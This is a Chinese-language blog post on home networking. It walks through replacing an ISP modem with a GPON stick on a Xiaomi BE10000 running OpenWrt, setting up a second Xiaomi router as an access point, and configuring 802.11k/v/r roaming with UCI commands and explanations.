&lt;h3&gt;1. 宽带与光通信 (Fiber &amp;amp; PON)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;缩写&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;全称&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;中文解释 / 备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FTTH&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fiber To The Home&lt;/td&gt;
&lt;td&gt;光纤到户.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PON&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Passive Optical Network&lt;/td&gt;
&lt;td&gt;无源光网络. 家庭宽带接入的主流技术.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GPON&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Gigabit-Capable PON&lt;/td&gt;
&lt;td&gt;千兆无源光网络. 我们使用的猫棒 (GPON Stick) 即基于此标准.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OLT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Optical Line Terminal&lt;/td&gt;
&lt;td&gt;光线路终端. 运营商局端设备, 负责向下分配光信号.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ONU&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Optical Network Unit&lt;/td&gt;
&lt;td&gt;光网络单元. 用户端设备, 如光猫或猫棒.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UPC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ultra Physical Contact&lt;/td&gt;
&lt;td&gt;超微球面研磨. 常见的光纤接头类型（通常为蓝色端面）.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;APC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Angled Physical Contact&lt;/td&gt;
&lt;td&gt;斜面物理接触. 常见的光纤接头类型（通常为绿色端面, 带8度斜角）.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LOID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Logical ONU ID&lt;/td&gt;
&lt;td&gt;逻辑光网络单元标识符. 运营商用于认证光猫身份的一串字符.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PLOAM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Physical Layer OAM&lt;/td&gt;
&lt;td&gt;物理层操作、管理和维护. 也是一种光猫认证用的密码体制.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SN&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Serial Number&lt;/td&gt;
&lt;td&gt;序列号. 硬件设备的唯一出厂编号, 常用于光猫注册.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;2. 无线局域网与漫游 (Wi-Fi &amp;amp; Roaming)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;缩写&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;全称&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;中文解释 / 备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Access Point&lt;/td&gt;
&lt;td&gt;无线接入点. 主路由或从路由发射 Wi-Fi 信号的角色.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Service Set Identifier&lt;/td&gt;
&lt;td&gt;服务集标识符. 即用户看到的 Wi-Fi 名称.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic Service Set&lt;/td&gt;
&lt;td&gt;基础服务集. 单个 AP 及其覆盖下连接设备的集合.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;BSSID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Basic Service Set Identifier&lt;/td&gt;
&lt;td&gt;基础服务集标识符. 通常是 AP 无线网卡的 MAC 地址.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ESS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Extended Service Set&lt;/td&gt;
&lt;td&gt;扩展服务集. 多个 BSS 组成的统一网络（同 SSID）, 即漫游环境.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;RRM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Radio Resource Management&lt;/td&gt;
&lt;td&gt;无线电资源管理 (802.11k). 用于获取周围的 AP 邻居报告.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WNM&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Wireless Network Management&lt;/td&gt;
&lt;td&gt;无线网络管理 (802.11v). 允许 AP 给客户端发送漫游引导建议.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;FT&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Fast Transition&lt;/td&gt;
&lt;td&gt;快速漫游转换 (802.11r). 减少客户端切换 AP 时的握手和认证时间.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Distribution System&lt;/td&gt;
&lt;td&gt;分布式系统. 有线网络主干, &lt;code&gt;ft_over_ds&lt;/code&gt; 即通过有线主干交换漫游信息.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;NAS ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Network Access Server ID&lt;/td&gt;
&lt;td&gt;网络接入服务器标识符. 用于在漫游域中唯一标识某个 BSS 节点.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SAE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Simultaneous Authentication of Equals&lt;/td&gt;
&lt;td&gt;对等同时认证. WPA3 的密钥交换协议, 比 WPA2 更安全.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PSK&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pre-Shared Key&lt;/td&gt;
&lt;td&gt;预共享密钥. 家庭 Wi-Fi 最常用的输入密码认证方式.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;3. 网络协议与系统设置 (Network &amp;amp; System)&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;strong&gt;缩写&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;全称&lt;/strong&gt;&lt;/th&gt;
&lt;th&gt;&lt;strong&gt;中文解释 / 备注&lt;/strong&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PPPoE&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Point-to-Point Protocol over Ethernet&lt;/td&gt;
&lt;td&gt;以太网上的点对点协议. 即我们常用的宽带拨号协议.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;VLAN / PVID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Virtual Local Area Network / Port VLAN ID&lt;/td&gt;
&lt;td&gt;虚拟局域网 / 端口默认 VLAN ID. 用于隔离网络流量, 光猫拨号必需.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;SFP+&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Enhanced Small Form-factor Pluggable&lt;/td&gt;
&lt;td&gt;增强型小型可插拔光模块接口. 支持最高 10 Gbps 的传输速率.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;UCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unified Configuration Interface&lt;/td&gt;
&lt;td&gt;统一配置接口. OpenWrt/QWRT 的底层命令行配置系统.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LuCI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Lua Configuration Interface&lt;/td&gt;
&lt;td&gt;OpenWrt/QWRT 的 Web 图形化配置界面.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;DHCP&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Dynamic Host Configuration Protocol&lt;/td&gt;
&lt;td&gt;动态主机配置协议. 用于自动给局域网内的设备分配 IP.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;L2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Layer 2&lt;/td&gt;
&lt;td&gt;数据链路层. 文中的“L2 网段”指同一广播域下的局域网.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;准备材料&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Xiaomi BE10000 Router&lt;/li&gt;
&lt;li&gt;Xiaomi AX3600 Router&lt;/li&gt;
&lt;li&gt;G-010S-A NOKIA 猫棒
&lt;ul&gt;
&lt;li&gt;散热片&lt;/li&gt;
&lt;li&gt;SC/APC 转 SC/UPC 光纤&lt;/li&gt;
&lt;li&gt;SC/UPC 光纤适配器&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;刷机资料 (这部分...自己找吧, 搬运别人的资料不太好. 可以参考下面刷机教程中的固件.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;关于那根 SC/APC 转 SC/UPC 光纤, 它们描述的是光纤接头的规格. 正常的家庭 FTTH 一般用的是 UPC, 是蓝色的接头, 而我们买的猫棒基本上都是 APC 的接头, 是绿色的. 它们的主要差别是末端接头的形状, UPC 的末端是向外微微凸起的, APC 的末端是斜着的切面. 如果运营商 OLT 下行光功率足够强的话直接用 UPC 接入猫棒也是能用的, 但是会有大概 3dB 左右的光衰. 因此, 我还是决定稳一点.&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/2983381998.webp&quot; alt=&quot;v2-a92cdb8ad53d27ea0f38b708a5ee4dd7_1440w.webp&quot; /&gt;
&lt;em&gt;图片来源: &lt;a href=&quot;https://zhuanlan.zhihu.com/p/1928375679336051117&quot;&gt;光纤连接器 PC、UPC 、APC主要区别 - 知乎&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;猫棒是出了名的发热量大, 所以记得贴散热片:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/1510184915.jpeg&quot; alt=&quot;5a5dd1090c1ee9b9c20103938f72b852_compressed.jpeg&quot; /&gt;&lt;br /&gt;
贴完之后我在光猫后台看到的温度大概是 60 ℃ 左右.&lt;/p&gt;
&lt;h2&gt;给 BE10000 刷机&lt;/h2&gt;
&lt;p&gt;这里就不多赘述了, 直接参考 &lt;a href=&quot;https://www.right.com.cn/FORUM/thread-8450774-1-1.html&quot;&gt;【小米万兆路由器刷OpenWrt】小米BE10000|SSH解锁固化|UBoot|iStore商店|多拨|-小米无线路由器及小米网络设备-恩山无线论坛 - Powered by Discuz!&lt;/a&gt; 即可.&lt;/p&gt;
&lt;p&gt;固件有一些已知的 bug, 比如前端配置的 WiFi 信息无法被正常写入, 会导致整个网络部分无法启动, 随后失联, 最终触发自动 Fallback. 所以下面的一些修改主路由的操作是利用 UCI 指令实现的.&lt;/p&gt;
&lt;h2&gt;获取运营商 ONU 配置&lt;/h2&gt;
&lt;p&gt;这一步没有通用教程...上闲鱼或者淘宝买个超密, 记录下 &lt;code&gt;LOID&lt;/code&gt;, &lt;code&gt;SN&lt;/code&gt;, &lt;code&gt;LOID CheckCode(Password)&lt;/code&gt;, &lt;code&gt;PLOAM Password&lt;/code&gt;, 还有 Internet 部分配置的 &lt;code&gt;VLAN&lt;/code&gt; ID. 有的地区可能还需要记录下上行的 Mac 地址.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;LOID&lt;/code&gt;和&lt;code&gt;LOID CheckCode&lt;/code&gt;&lt;/em&gt;:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/2496619025.png&quot; alt=&quot;Pasted image 20260707214127.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;PLOAM Password&lt;/code&gt;&lt;/em&gt;:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/1848776621.png&quot; alt=&quot;Pasted image 20260707214224.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;code&gt;VLAN&lt;/code&gt; ID&lt;/em&gt;:&lt;br /&gt;
&lt;img src=&quot;./images/2026/07/815648919.png&quot; alt=&quot;Pasted image 20260707214048.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一般而言, 运营商会选择用&lt;code&gt;LOID&lt;/code&gt;, 配合上可能的 &lt;code&gt;LOID CheckCode(Password)&lt;/code&gt;, &lt;strong&gt;或者&lt;/strong&gt;可能使用 &lt;code&gt;PLOAM Password&lt;/code&gt;. 请根据你的情况自行判断.&lt;/p&gt;
&lt;p&gt;我这边是安徽联通, 只记录了 &lt;code&gt;SN&lt;/code&gt;, &lt;code&gt;VLAN ID&lt;/code&gt;, &lt;code&gt;LOID&lt;/code&gt; 就可以正常工作了. (因为联通的那个猫登不进去所以拿了个移动的猫来截图xD)&lt;br /&gt;
有的时候不一定需要超密才能获得这些信息, 某些猫 (比如黑龙江联通, 创维的光猫) 的普通用户就能拿到上述信息.&lt;/p&gt;
&lt;p&gt;同时, 记录下 &lt;code&gt;PPPoE&lt;/code&gt; 登录用户名和密码:
&lt;img src=&quot;./images/2026/07/2528830296.png&quot; alt=&quot;Pasted image 20260707220138.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一般而言, 用户名是公开的, 有些猫的密码经过 F12 大法去除 &lt;code&gt;password&lt;/code&gt; 属性也会直接显示, 但是有的猫会回传一些无意义占位符, 这个时候可以打电话给运营商重置密码.&lt;/p&gt;
&lt;h2&gt;配置 GPON Stick (猫棒)&lt;/h2&gt;
&lt;p&gt;将 GPON Stick 接入 SFP+ 接口, 如果网口灯一直没有亮起来的话可以尝试在 &lt;code&gt;QWRT&lt;/code&gt; -&amp;gt; &lt;code&gt;网络&lt;/code&gt; -&amp;gt; &lt;code&gt;ECM硬件加速设置&lt;/code&gt; 里将 SFP1 和 SFP2 接口的速率设置强制改为 &lt;code&gt;Force 2.5Gbps&lt;/code&gt;. (我不能确定哪个对应当前SFP接口, 所以两个都改了), 随后保存并应用, 也许需要重启路由器.&lt;/p&gt;
&lt;p&gt;默认的 &lt;code&gt;br-lan&lt;/code&gt; IP Prefix 应该是 &lt;code&gt;192.168.1.0/24&lt;/code&gt;, 此时保持不变, 访问 &lt;code&gt;192.168.1.10&lt;/code&gt; 即可打开光猫的控制台:
&lt;img src=&quot;./images/2026/07/152199150.png&quot; alt=&quot;Pasted image 20260707220704.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到 GPON ONU 设置, 填入我们刚刚记录的信息:
&lt;img src=&quot;./images/2026/07/1225072806.png&quot; alt=&quot;Pasted image 20260707220751.png&quot; /&gt;
&lt;em&gt;&lt;code&gt;LOID&lt;/code&gt; 和 &lt;code&gt;SN&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;并且启用 VLAN 配置:
&lt;img src=&quot;./images/2026/07/716394343.png&quot; alt=&quot;Pasted image 20260707220830.png&quot; /&gt;
勾选&lt;strong&gt;互操作兼容模式&lt;/strong&gt;, 并在 &lt;code&gt;PVID&lt;/code&gt; 中填写 VLAN ID.&lt;/p&gt;
&lt;p&gt;保存后可能需要重启猫棒. 然后进入状态页, 如果看到 PON认证状态/PON信号状态 为 O5, 则说明猫棒已经完成注册并且正常工作了.
&lt;img src=&quot;./images/2026/07/1003313073.png&quot; alt=&quot;Pasted image 20260707221327.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;配置拨号上网&lt;/h2&gt;
&lt;p&gt;BE10000 上默认 WAN 口为 &lt;code&gt;eth4&lt;/code&gt;, 而 SFP 端口为 &lt;code&gt;eth5&lt;/code&gt;, 因此需要将 WAN 口从 &lt;code&gt;eth4&lt;/code&gt; 切换成 &lt;code&gt;eth5&lt;/code&gt;. 进入 &lt;code&gt;网络&lt;/code&gt; -&amp;gt; &lt;code&gt;接口&lt;/code&gt; -&amp;gt; &lt;code&gt;设备&lt;/code&gt;, 找到 &lt;code&gt;br-lan&lt;/code&gt; 并将 &lt;code&gt;eth4&lt;/code&gt; 加入, 将 &lt;code&gt;eth5&lt;/code&gt; 移除; 再进入 &lt;code&gt;接口&lt;/code&gt; 页面, 将 WAN 网卡改为 &lt;code&gt;eth5&lt;/code&gt;, 并填入刚刚的 PPPoE 账号密码:
&lt;img src=&quot;./images/2026/07/1192459082.png&quot; alt=&quot;Pasted image 20260707222016.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;保存之后应该能看到 PPPoE 已经成功拨号并且能够正常上网了:
&lt;img src=&quot;./images/2026/07/2477795343.png&quot; alt=&quot;Pasted image 20260707222124.png&quot; /&gt;
(我将整个 &lt;code&gt;br-lan&lt;/code&gt; 的网段改成了&lt;code&gt;192.168.3.0/24&lt;/code&gt;, 这一步不是必须的)&lt;/p&gt;
&lt;h2&gt;修改 WiFi 基本信息&lt;/h2&gt;
&lt;p&gt;实测发现...主路由通过 LuCI 直接修改 WiFi 信息会修改不进去(上文已经提到了), 因此在 SSH 通过 UCI 修改信息:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ssid=&apos;[CENSORED]&apos;
uci set wireless.ath0.encryption=&apos;psk2+ccmp&apos;
uci set wireless.ath0.key=&apos;[CENSORED]&apos;

uci set wireless.ath1.ssid=&apos;[CENSORED]&apos;
uci set wireless.ath1.encryption=&apos;psk2+ccmp&apos;
uci set wireless.ath1.key=&apos;[CENSORED]&apos;

uci commit wireless
wifi reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处 SSID 为 WiFi 名称, encryption 的值 &lt;code&gt;psk2+ccmp&lt;/code&gt; 表示 WPA2-PSK/AES，也就是常见的 WPA2-AES 配置。&lt;/p&gt;
&lt;p&gt;虽然 WPA3/SAE 更安全，但在多 AP + 802.11r 漫游场景下，WPA2-PSK + FT-PSK 的兼容性通常更好。部分手机或 IoT 设备在 WPA2/WPA3 Mixed、FT-SAE、PMF 等组合下可能会出现连接失败、漫游失败或切换变慢的问题。&lt;/p&gt;
&lt;p&gt;如果需要追求最高兼容性，建议用于全屋漫游的主 SSID 先使用 WPA2-PSK/AES，并确保主路由和从路由的加密方式保持一致。&lt;/p&gt;
&lt;p&gt;对于从路由, 因为要配置漫游, 需要保证两个 WiFi 接入的是同一个 L2 网段, 因此需要关闭从路由的 DHCP, 并且将从路由配置为主路由下的一个设备. 因此对于从路由, 做的配置如下:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;将 网络 -&amp;gt; 接口 -&amp;gt; 接口 下的其他所有设备删除, 仅保留 &lt;code&gt;br-lan&lt;/code&gt;:
&lt;img src=&quot;./images/2026/07/2432385054.png&quot; alt=&quot;Pasted image 20260708091953.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;在 网络 -&amp;gt; 接口 -&amp;gt; 设备 下的 &lt;code&gt;br-lan&lt;/code&gt; 设备中添加 &lt;code&gt;wan&lt;/code&gt; 网口:
&lt;img src=&quot;./images/2026/07/450292691.png&quot; alt=&quot;Pasted image 20260708092201.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;给 网络 -&amp;gt; 接口 -&amp;gt; 设备 下的 &lt;code&gt;br-lan&lt;/code&gt; 添加 IP 地址:
&lt;img src=&quot;./images/2026/07/2374454072.png&quot; alt=&quot;Pasted image 20260708100224.png&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;IPv4 地址一定记得填掩码, IPv4 网关填写主路由的 IP.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在 网络 -&amp;gt; 防火墙 -&amp;gt; 常规设置 下, 放行对应的防火墙规则.
&lt;img src=&quot;./images/2026/07/2660518185.png&quot; alt=&quot;Pasted image 20260708100628.png&quot; /&gt;
(btw. 我因为懒得配置详细的规则再加上内网设备应该也不会有太大风险因此全部放行了, 如果有特殊需求的话请不要参考xD)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因为此时主路由和从路由处在同一个 L2 广播域内，局域网中应该只保留一个 DHCP Server，也就是主路由。如果从路由 DHCP 没有关闭，客户端在连接或漫游时可能会同时收到来自主路由和从路由的 DHCP 响应，导致获取到错误的网关 / DNS，或者出现 &lt;code&gt;DHCPNAK wrong server-ID&lt;/code&gt; 之类的问题。&lt;/p&gt;
&lt;p&gt;这种问题的表现可能是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wi-Fi 已经切换到另一个 AP，但网络恢复很慢；&lt;/li&gt;
&lt;li&gt;漫游后短暂断网；&lt;/li&gt;
&lt;li&gt;客户端重新获取 IP；&lt;/li&gt;
&lt;li&gt;网关 / DNS 偶发异常；&lt;/li&gt;
&lt;li&gt;看起来像是 802.11r 没有生效，但实际是 DHCP 层面在打架。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在从路由 SSH 中执行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set dhcp.lan.ignore=&apos;1&apos;
uci commit dhcp
/etc/init.d/dnsmasq restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果从路由还启用了 IPv6 RA / DHCPv6，而我们希望完全由主路由负责 IPv6，也可以一并关闭：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set dhcp.lan.ra=&apos;disabled&apos;
uci set dhcp.lan.dhcpv6=&apos;disabled&apos;
uci set dhcp.lan.ndp=&apos;disabled&apos;
uci commit dhcp
/etc/init.d/odhcpd restart
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关闭后可以检查：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci show dhcp.lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dhcp.lan.ignore=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即可。&lt;/p&gt;
&lt;p&gt;需要注意，&lt;code&gt;dnsmasq&lt;/code&gt; 进程仍然运行不代表从路由还在发 DHCP。只要生成配置中存在类似：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;no-dhcp-interface=br-lan
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就说明它不会再在 LAN / &lt;code&gt;br-lan&lt;/code&gt; 上提供 DHCP 服务。保存并应用后应该就可以连接主路由并通过设置的子路由 IP 连接了.
(这段我在LuCI上并没有找到很明确的关闭 DHCP 服务的配置选项, 是让 GPT 通过 SSH 直接编辑 UCI 得出的)&lt;/p&gt;
&lt;p&gt;在从路由的 网络 -&amp;gt; 无线, 配置各个 SSID 接口的信息和主路由同步:
&lt;img src=&quot;./images/2026/07/3231454320.png&quot; alt=&quot;Pasted image 20260708100918.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/2026/07/2062283390.png&quot; alt=&quot;Pasted image 20260722234555.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时两个 WiFi 应该都能成功连上 (虽然 SSID 相同).&lt;/p&gt;
&lt;h2&gt;配置 802.11 k/v/r&lt;/h2&gt;
&lt;h3&gt;主路由&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211k=&apos;1&apos;
uci set wireless.ath0.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath0.rrm_beacon_report=&apos;1&apos;
uci set wireless.ath0.ieee80211v=&apos;1&apos;
uci set wireless.ath0.time_advertisement=&apos;0&apos;
uci set wireless.ath0.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath0.bss_transition=&apos;1&apos;
uci set wireless.ath0.ieee80211r=&apos;1&apos;
uci set wireless.ath0.nasid=&apos;Master_2_4G&apos;
uci set wireless.ath0.mobility_domain=&apos;cafe&apos;
uci set wireless.ath0.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath0.ft_over_ds=&apos;0&apos;
uci set wireless.ath0.ft_psk_generate_local=&apos;1&apos;

uci set wireless.ath1.ieee80211k=&apos;1&apos;
uci set wireless.ath1.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath1.rrm_beacon_report=&apos;1&apos;
uci set wireless.ath1.ieee80211v=&apos;1&apos;
uci set wireless.ath1.time_advertisement=&apos;0&apos;
uci set wireless.ath1.wnm_sleep_mode=&apos;0&apos;
uci set wireless.ath1.bss_transition=&apos;1&apos;
uci set wireless.ath1.ieee80211r=&apos;1&apos;
uci set wireless.ath1.nasid=&apos;Master_5G&apos;
uci set wireless.ath1.mobility_domain=&apos;cafe&apos;
uci set wireless.ath1.reassociation_deadline=&apos;1000&apos;
uci set wireless.ath1.ft_over_ds=&apos;0&apos;
uci set wireless.ath1.ft_psk_generate_local=&apos;1&apos;

uci commit wireless
wifi reload
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要注意的是, &lt;strong&gt;802.11k/v/r 不是 AP 主动强制客户端漫游&lt;/strong&gt;, 真正决定是否漫游的仍然是客户端. AP 只是通过这些协议给客户端提供邻居信息、漫游建议和快速重关联能力, 不同手机、电脑、IoT 设备对这些协议的支持程度不同.&lt;/p&gt;
&lt;p&gt;上面的配置主要配置了三个无线接口:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ath0&lt;/code&gt;: 主路由 2.4G&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ath1&lt;/code&gt;: 主路由 5G&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;三个接口配置逻辑相同, 只是 &lt;code&gt;nasid&lt;/code&gt; 不同.&lt;/p&gt;
&lt;h4&gt;1. 802.11k: 无线资源测量 / 邻居报告&lt;/h4&gt;
&lt;p&gt;相关配置:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uci set wireless.ath0.ieee80211k=&apos;1&apos;
uci set wireless.ath0.rrm_neighbor_report=&apos;1&apos;
uci set wireless.ath0.rrm_beacon_report=&apos;1&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;1.1 &lt;code&gt;ieee80211k=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;802.11k Radio Resource Management&lt;/strong&gt;.
802.11k 的主要作用是让 AP 能够向客户端提供周围 AP 的信息. 客户端不需要盲目扫描所有信道, 而是可以根据 AP 提供的邻居列表, 更快找到适合漫游的目标 AP.&lt;/p&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;802.11k 让客户端知道“附近还有哪些同 SSID 的 AP 可以切过去”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;没有 802.11k 时, 客户端通常需要自己扫描信道. 扫描过程会消耗时间, 也可能导致短暂卡顿.
开启后, 支持 802.11k 的客户端可以更快获得候选 AP 信息.&lt;/p&gt;
&lt;h5&gt;1.2 &lt;code&gt;rrm_neighbor_report=&apos;1&apos;&lt;/code&gt;&lt;/h5&gt;
&lt;p&gt;开启 &lt;strong&gt;邻居报告&lt;/strong&gt;.
这是 802.11k 中最常用、最关键的能力. AP 会向客户端提供邻近 BSS 的信息, 例如:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;邻居 AP 的 BSSID&lt;/li&gt;
&lt;li&gt;所在信道&lt;/li&gt;
&lt;li&gt;PHY 类型&lt;/li&gt;
&lt;li&gt;是否同属于当前 ESS&lt;/li&gt;
&lt;li&gt;是否支持相关漫游能力&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;简单理解:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这个参数让 AP 可以告诉客户端: “你旁边还有这些 AP, 它们在这些信道上. ”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这对多 AP 漫游很重要, 因为客户端不需要从 1 信道扫到 165 信道, 而是可以优先扫描 AP 告诉它的候选信道.&lt;/p&gt;
